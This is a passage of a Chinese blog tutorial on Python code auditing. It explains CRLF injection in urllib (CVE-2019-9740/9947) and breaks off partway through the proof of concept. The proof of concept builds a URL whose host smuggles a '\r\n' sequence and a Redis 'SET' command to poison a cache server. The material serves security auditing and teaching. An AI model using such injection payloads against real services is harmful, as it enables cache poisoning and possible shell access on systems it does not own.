python审计案例_Python代码审计实战案例总结之CRLF和任意文件读取

本文介绍了Python代码审计中的CRLF问题和任意文件读取漏洞,通过实例展示了urllib、httplib模块中的CRLF漏洞利用,并提供了审计和修复的方法。同时,文章还讨论了local_file协议绕过导致的任意文件读取问题及其防范措施。
摘要由CSDN通过智能技术生成

介绍

Python代码审计方法多种多样,但是总而言之是根据前人思路的迁移融合扩展而形成。目前Python代码审计思路,呈现分散和多样的趋势。Python微薄研发经验以及结合实际遇到的思路和技巧进行总结,以便于朋友们的学习和参考。

CRLF和任意文件读取的审计实战

CRLF 审计实战

CRLF的问题经常会出现在Python的模块之中,曾经有案例说明httplib模块、urllib模块等存在CRLF问题。问题来源于模块对于\x0d\x0a(\r\n)处理并不严格。如果该问题被有效利用,可能会导致 Memcached和Redis 等缓存应用出现问题,严重可获得shell。在审计中多尝试插入\r\n,包括不同的位置,也许会有新的发现。

urllib CRLF漏洞(CVE-2019-9740和CVE-2019-9947)

这个问题关于urllib模块,被插入\r\n导致CRLF问题。另外,如果攻击者在攻击载荷之中加入缓存应用命令,可能导致严重的安全隐患。下面看下 POC 。

#!/usr/bin/env python3

import sys

import urllib

import urllib.error

import urllib.request

host = "10.251.0.83:6379?\r\nSET test success\r\n"

url = "http://" + host + ":8080/test/?test=a"

try:

info = urllib.request.urlopen(url).info()

print(info)

except urllib.error.URLError as e:

print(e)

POC 中使用了 sys、urllib、urllib.error、urllib.request 模块,测试目标的 IP 为 10.251.0.83 ,咱们在 host 之中插入 \r\n 和 redis 命令 “SET test success” ,目前为了实现 验证 CRLF 并且尝试污染 redis 缓存。在尝试执行此攻击后,检查redis服务器:

127.0.0.1:6379> GET

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值